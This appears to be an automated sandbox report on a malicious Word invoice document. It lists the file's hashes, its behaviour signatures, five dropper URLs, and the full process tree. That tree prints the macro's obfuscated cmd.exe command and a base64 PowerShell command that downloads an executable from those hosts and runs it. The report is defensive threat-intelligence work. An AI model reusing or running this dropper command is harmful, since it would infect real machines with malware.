Analysis
- max time kernel
139s - max time network
139s - platform
windows10_x64 - resource
win10v20201028 - submitted
28/01/2021, 07:06
Static task
static1
Behavioral task
behavioral1
Sample
Billing Invoice - Job # 4712264.doc
Resource
win7v20201028
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Billing Invoice - Job # 4712264.doc
Resource
win10v20201028
0 signatures
0 seconds
General
- Target Billing Invoice - Job # 4712264.doc
- Size 86KB
- Sample210128-vtm648fcfn
- SHA256 1f33a3b176c7062a63b392a64c21e5c05bcd0c920a363bbcde4a1a0bc9ad2b8d
- MD5 2d2b0c7b4325da2fa989ea8ac308697b
- SHA1 5f182251f6c4bb194b780737445816745343fdd1
- SHA512 4a9a94851f88b0502888fbc125e6c4a82cb36a6c2e0495855580b483133bf7657e3159b23883b2fe8024c2af3548fb1f1490788d0a3f65ed3f4645bcc9f372de
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://alpharockgroup.com/HT
-
exe.dropper
http://adminflex.dk/l5TF6w
-
exe.dropper
http://gailong.net/X5AyWfJG
-
exe.dropper
http://shunji.org/logsite/TJaaB
-
exe.dropper
http://binar48.ru/OtTlVIU5
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2844 880 Cmd.exe 68 - Blocklisted process makes network request 3 IoCs
flow pid Process 27 4036 powershell.exe 29 4036 powershell.exe 34 4036 powershell.exe - An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 2844 Cmd.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 880 WINWORD.EXE 880 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4036 powershell.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 880 wrote to memory of 2844 880 WINWORD.EXE 78 PID 880 wrote to memory of 2844 880 WINWORD.EXE 78 PID 2844 wrote to memory of 4036 2844 Cmd.exe 84 PID 2844 wrote to memory of 4036 2844 Cmd.exe 84
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Billing Invoice - Job # 4712264.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\SYSTEM32\Cmd.exeCmd /V^:^oN /r "^Se^T ^ ^ ^J^e^4=^A^AC^AgA^AI^A^AC^A^gAA^IA^ACA^g^AA^IAACA^g^AA^I^A^ACA^gA^A^I^A^AC^A^gAQ^fA0^H^A^7BA^aA^M^GA0BQ^YA^M^G^A9^BwOAs^GAhBQZAI^HAiB^w^OAs^EA^u^B^wdA^QC^A^gA^Q^b^AU^G^A^0^B^Q^S^A0C^AlBwa^A8G^A2Bg^bAk^EA^7^A^Q^K^A^sEA^u^B^wdA^QCAgAA^LA^sE^AL^B^g^S^A^QCAo^AQZA^wGApBgRA^QGA^hBwbA^w^G^AuB^w^d^A^8^G^A^E^B^gLA^E^FA^UBgeAQC^A7B^Q^e^A^I^HA0^B^w^e^A^kC^Ar^BgeAg^F^Ak^A^A^IA4GA^pB^A^IA^sEALB^g^SA^QCAoA^AaAMG^A^hBQZAI^HAvBg^Z^A^s^DAnAQZAg^H^Al^Bg^LAcCArAge^AcFAZ^B^AJAsCAn^AAXAcCAr^A^w^Y^A^kGAsB^gYA^U^HA^wB^gOAYH^Au^B^Q^ZAQC^A9Aw^S^A^4^GA3^B^AJ^A^s^DAnA^gM^Ak^DA^2A^wJ^AACA9A^A^IA^oHA^X^B^QW^AQCA7AQKAcC^A^ABwJ^A^gC^A0BQa^A^wG^A^wB^w^UA4CAn^A^QN^AU^F^AJBgV^A^wG^AUB^AdA8^EAv^A^Q^dA^IHA^u^A^AO^A^Q^D^A^yBQY^A4^G^A^p^BgYA^8C^Av^Ag^OA^AH^A^0B^A^d^A^gG^A^A^B^gQ^A^EG^AhBg^SA^QFAv^A^QZ^AQH^ApB^wc^Ac^G^AvB^AbA^8C^An^B^gcA8GA^uA^QaA^oG^AuB^QdA^gGA^zB^wLA8CA^6^A^AcA^Q^H^A0^B^Aa^AA^EA^H^B^g^SAYGA^X^BQe^AE^EA^1^A^AWA8CA0^B^QZ^A^4GA^uAw^Z^A^4^GAvB^A^b^Ak^GA^h^B^wZ^A8CAvA^gO^AA^H^A^0^BAd^Ag^GAAB^w^dAYD^AG^B^AVA^UD^A^s^BwL^A^s^G^AkBgLA^g^HAl^BAb^AYG^A^u^BQ^a^A0GAk^BQ^YA^8C^Av^AgO^A^AH^A^0B^AdA^g^G^A^ABAV^Ag^E^AvA^QbA8G^AjBg^LA^A^HA^1BwbA^IHAnBwaAMGAvB^gc^A^EGAo^BAcAw^GAh^BwLA8C^A6^A^Ac^A^QH^A^0B^A^a^AcC^A^9^Awa^A^oH^A^Y^B^A^JA^s^DA^0B^gbA^U^G^Ap^BA^bA^M^E^A^iB^Q^Z^AcFA^uA^AdA^UG^A^O^BA^IA^Q^HAjB^Q^Z^Ao^G^A^iB^wb^A^0CA^3B^QZA^4GA^9AQ^UA^QF^A6B^A^J^ ^e^-^ ^l^l^e^hsr^e^wo^p& ^foR /^L %^B ^IN ( ^ 9^25^ ^ ^-^1 ^ ^0) D^O s^E^t ^OQR^J=!^OQR^J!!^J^e^4:~ %^B, 1!&& I^f %^B ^LEQ ^0 Ca^L^l %^OQR^J:^*OQRJ^!^=% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JAB6AFQAUQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABYAHoAawA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAcABoAGEAcgBvAGMAawBnAHIAbwB1AHAALgBjAG8AbQAvAEgAVABAAGgAdAB0AHAAOgAvAC8AYQBkAG0AaQBuAGYAbABlAHgALgBkAGsALwBsADUAVABGADYAdwBAAGgAdAB0AHAAOgAvAC8AZwBhAGkAbABvAG4AZwAuAG4AZQB0AC8AWAA1AEEAeQBXAGYASgBHAEAAaAB0AHQAcAA6AC8ALwBzAGgAdQBuAGoAaQAuAG8AcgBnAC8AbABvAGcAcwBpAHQAZQAvAFQASgBhAGEAQgBAAGgAdAB0AHAAOgAvAC8AYgBpAG4AYQByADQAOAAuAHIAdQAvAE8AdABUAGwAVgBJAFUANQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAWQBXAHoAIAA9ACAAJwA2ADkAMgAnADsAJAB3AG4ASwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABZAFcAegArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBLAEsAIABpAG4AIAAkAFgAegBrACkAewB0AHIAeQB7ACQAegBUAFEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQASgBLAEsALAAgACQAdwBuAEsAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAdwBuAEsAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4036
-
-